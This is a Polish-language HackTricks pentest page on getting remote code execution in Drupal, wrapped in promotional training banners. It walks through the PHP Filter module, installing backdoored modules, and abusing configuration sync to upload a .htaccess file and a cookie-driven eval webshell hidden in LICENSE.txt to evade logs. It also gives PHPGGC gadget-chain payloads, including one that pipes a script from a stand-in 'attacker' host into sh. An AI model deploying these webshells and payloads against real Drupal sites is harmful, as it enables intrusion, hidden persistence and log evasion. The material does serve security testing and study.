Drupal RCE
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Z modułem PHP Filter
Warning
W starszych wersjach Drupala (przed wersją 8) można było zalogować się jako administrator i włączyć moduł
PHP filter, który “Allows embedded PHP code/snippets to be evaluated.” Jednak od wersji 8 ten moduł nie jest instalowany domyślnie.
- Przejdź do /modules/php i jeśli zwrócony zostanie błąd 403, to PHP filter plugin jest zainstalowany i możesz kontynuować
- Jeśli nie, przejdź do
Modulesi zaznacz polePHP Filter, a następnie kliknijSave configuration - Aby to wykorzystać, kliknij
Add content, następnie wybierzBasic PagelubArticlei wklej PHP backdoor, potem wybierz format tekstuPHPi na końcu kliknijPreview - Aby go uruchomić, po prostu odwiedź nowo utworzony node:
curl http://drupal.local/node/3
Zainstaluj moduł PHP Filter
Warning
W obecnych wersjach nie jest już możliwe instalowanie wtyczek mając dostęp jedynie do webu po domyślnej instalacji.
Od wersji 8 wzwyż, PHP Filter moduł nie jest instalowany domyślnie. Aby skorzystać z tej funkcjonalności, musimy zainstalować moduł samodzielnie.
- Pobierz najnowszą wersję modułu ze strony Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz- Po pobraniu przejdź do
Administration>Reports>Available updates. - Kliknij
Browse, wybierz plik z katalogu, do którego go pobraliśmy, a następnie kliknijInstall. - Po zainstalowaniu modułu możemy kliknąć
Contenti utworzyć nową podstawową stronę, podobnie jak w przykładzie dla Drupal 7. Ponownie upewnij się, że wybierzeszPHP codez rozwijanego menuText format.
Moduł z backdoorem
Warning
W obecnych wersjach nie jest już możliwe instalowanie wtyczek mając dostęp jedynie do webu po domyślnej instalacji.
Było możliwe pobranie modułu, dodanie do niego backdoora i zainstalowanie go. Na przykład pobranie Trurnstile modułu w formacie skompresowanym, utworzenie nowego pliku backdoora w PHP wewnątrz niego i umożliwienie dostępu do pliku PHP za pomocą pliku .htaccess:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
A następnie przejdź do http://drupal.local/admin/modules/install, aby zainstalować backdoored module i uzyskać dostęp do /modules/turnstile/back.php, aby go uruchomić.
Backdooring Drupal with Configuration synchronization
Post udostępniony przez Coiffeur0x90
Część 1 (aktywacja Media i Media Library)
W menu Extend (/admin/modules) możesz aktywować elementy, które wyglądają na już zainstalowane wtyczki. Domyślnie wtyczki Media i Media Library nie są aktywowane, więc włączmy je.
Przed aktywacją:
 (1) (1) (1) (1).png)
Po aktywacji:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Część 2 (wykorzystanie funkcji Configuration synchronization)
Wykorzystamy funkcję Configuration synchronization, aby zrzucić (export) i wgrać (import) wpisy konfiguracji Drupala:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch pliku system.file.yml
Zacznijmy od zmodyfikowania pierwszego wpisu allow_insecure_uploads z:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
Do:
Plik: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Zastosuj poprawkę w field.field.media.document.field_media_document.yml
Następnie zaktualizuj drugi wpis file_extensions z:
Plik: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
Do:
Plik: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Nie używam tego w tym wpisie na blogu, ale zauważono, że można zdefiniować wpis
file_directoryw dowolny sposób i że jest on podatny na path traversal attack (dzięki czemu możemy cofnąć się w górę w drzewie systemu plików Drupal).
 (1) (1) (1).png)
Część 3 (wykorzystanie funkcji Add Document)
Ostatni krok jest najprostszy i dzieli się na dwa podetapy. Pierwszy polega na przesłaniu pliku w formacie .htaccess, aby wykorzystać dyrektywy Apache i pozwolić, żeby pliki .txt były interpretowane przez silnik PHP. Drugi polega na przesłaniu pliku .txt zawierającego nasz payload.
Plik: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Dlaczego ten trik jest fajny?
Ponieważ gdy Webshell (który nazwiemy LICENSE.txt ) zostanie umieszczony na serwerze WWW, możemy przesyłać nasze polecenia przez $_COOKIE, a w logach serwera WWW pojawi się to jako legalne żądanie GET do pliku tekstowego.
Dlaczego nazwać nasz Webshell LICENSE.txt?
Po prostu dlatego, że jeśli weźmiemy na przykład następujący plik, core/LICENSE.txt (który jest już obecny w Drupal core), mamy plik o 339 liniach i rozmiarze 17,6 KB, co czyni go idealnym do dodania w środku małego fragmentu kodu PHP (ponieważ plik jest wystarczająco duży).
 (1) (1) (1).png)
Plik: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Part 3.1 (upload file .htaccess)
First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Part 3.2 (upload file LICENSE.txt)
Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.
 (1).png)
 (1).png)
 (1).png)
Part 4 (interaction with the Webshell)
The last part consists of interacting with the Webshell.
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
 (1).png)
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
 (1).png)
And as you can see in the logs, it looks like only a txt file has been requested.
 (1).png)
Thank you for taking the time to read this article, I hope it will help you get some shells.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.
Practical exploitation workflow:
- Find the unserialize sink (contrib module or custom code). Grep codebase for
unserialize(orDrupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports. - Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
- Dostarcz zserializowany blob do sinka (np. parametru, który zostanie zdeserializowany). Dla ciała form-encoded:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Wyzwól destrukcję (często automatycznie na końcu żądania) i wykonaj polecenie.
Uwagi do testów:
- Gadget działa tylko na wersjach starszych niż 10.2.11 / 10.3.9 / 7.102 (załatane). Sprawdź wersję celu przez
/core/lib/Drupal.phplubCHANGELOG.txt. - Sterowniki DB firm trzecich mogą wymagać dodatkowego utwardzenia; szukaj wdrożeń, które pominęły okno aktualizacji bezpieczeństwa.
Niedawne contrib-module niebezpieczne deserializacje → RCE
Kilka modułów contrib poprawiło niebezpieczne ścieżki używające unserialize() pod koniec 2024. Jeśli serwis nie ma tych aktualizacji, dają one exploitable sink wymagany przez core gadget chain:
- Mailjet (<4.0.1, CVE-2024-13296): dane kontrolowane przez admina przekazywane do
unserialize(), umożliwiające PHP Object Injection → RCE w połączeniu z core gadgets. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297): podobne niebezpieczne użycie
unserialize()dostępne dla użytkowników zaccess administration pages.
Pomysł testowy (uwierzytelniony):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
Jeżeli moduł deserializuje przesłane dane, gadget chain prowadzi do RCE. Połącz z XSS/CSRF, aby ukraść admin cookies i uzyskać pełny łańcuch ataku.
Źródła
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


